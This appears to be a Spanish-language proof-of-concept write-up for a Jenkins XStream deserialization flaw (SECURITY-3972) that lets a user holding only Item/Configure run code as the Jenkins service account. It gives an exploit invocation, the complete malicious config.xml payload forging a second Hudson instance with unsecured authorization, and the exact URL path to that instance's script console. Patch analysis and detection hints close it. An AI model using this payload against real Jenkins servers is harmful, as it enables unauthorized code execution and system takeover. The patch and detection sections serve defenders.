
Jenkins PersistenceRoot Deserialización RCE (SECURITY-3972) — PoC y análisis. Requiere Item/Configure; afecta a weekly <= 2.579 / LTS <= 2.568.2
PoC para la vulnerabilidad de deserialización de Jenkins corregida el 2026-09-02 (aviso). Una cuenta con privilegios bajos que tenga Item/Configure en cualquier trabajo individual puede convertir eso en ejecución arbitraria de código como el usuario del sistema operativo de Jenkins.
| Afectado | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| Corregido | weekly 2.580, LTS 2.568.3 |
| Requisito previo | autenticado, Item/Configure en ≥ 1 trabajo |
| Impacto | RCE como la cuenta de servicio de Jenkins |
| CVSS | 8.8 (Alto) |
Solo para investigación de seguridad autorizada en instancias de prueba vulnerables.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
El script verifica que la cuenta no tenga permiso de script (espera 403), envía el config.xml manipulado y luego enruta a través del grafo de objetos inyectado hacia una Consola de Scripts cuya ACL está controlada por el atacante.
Dos comportamientos de larga data de la pila XStream de Jenkins (hudson.util.XStream2 / RobustReflectionConverter) se combinan:
PersistenceRoot se deserializaba como un objeto común. Dado que XStream instancia mediante Unsafe.allocateInstance (sin constructor), un atacante podía forjar un segundo singleton hudson.model.Hudson con valores de campo arbitrarios, incluido authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent) son transitorias, por lo que los objetos inyectados se vuelven accesibles a través de HTTP — la redacción de "manejar posteriormente solicitudes HTTP a través de Stapler" del aviso.POST /job/<job>/config.xml (solo necesita Item/Configure) inyecta en los <actions> del trabajo:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot anidado (defecto 1); campo transitorio (defecto 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; segundo Jenkins forjado -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- evita NPE en Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Stapler luego enruta la solicitud hacia el grafo forjado:
| Segmento de URL | Resuelve a | Ruta de código |
|---|---|---|
/job/<job>/fingerprints | FingerprintAction inyectado | urlName == "fingerprints" + Actionable.getDynamic() |
/run | FreeStyleBuild forjado | FingerprintAction.getRun() lee el build transitorio |
/parent | FreeStyleProject forjado | Run.getParent() lee final transient project |
/parent | hudson.model.Hudson forjado | AbstractItem.getParent() lee el parent transitorio |
/scriptText | Consola de Scripts de la instancia forjada | Jenkins.doScriptText() → _doScript(..., getACL()) |
La evasión de autorización: doScriptText verifica ADMINISTER contra la instancia que recibió la solicitud, es decir, getACL() del Hudson forjado, que se deriva de su propio campo authorizationStrategy — AuthorizationStrategy$Unsecured concede todo. La estrategia de autorización del controlador real nunca participa. Debido a que ningún constructor se ejecuta durante la deserialización, los inicializadores de campo no se aplican; el payload debe establecer authorizationStrategy (y properties) explícitamente.
Comparando jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal ahora se niega a deserializar un subtipo de PersistenceRoot en un campo anidado (CriticalXStreamException: "Los objetos PersistenceRoot son raíces de documento y no deben aparecer como valores de campo anidados"), permitiendo solo tres formas seguras: referencias inversas reference= de XStream, reemplazadores resolves-to no persistentes (Run$Replacer, User$Replacer, …) y referencias escalares de convertidores de valor único.@XStreamNotDeserializable / @XStreamDeserializable más TRANSIENT_FIELD_STRICT_MODE endurecen la deserialización de campos transitorios por campo.Jenkins.readResolve() ahora se niega a deserializar un segundo singleton de Jenkins y ganó un reemplazador writeReplace().test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml que contengan Fingerprinter_-FingerprintAction / hudson.model.Hudson anidados, o solicitudes a /job/*/fingerprints/run/parent/parent/scriptText.config.xml de los trabajos en busca de contaminación.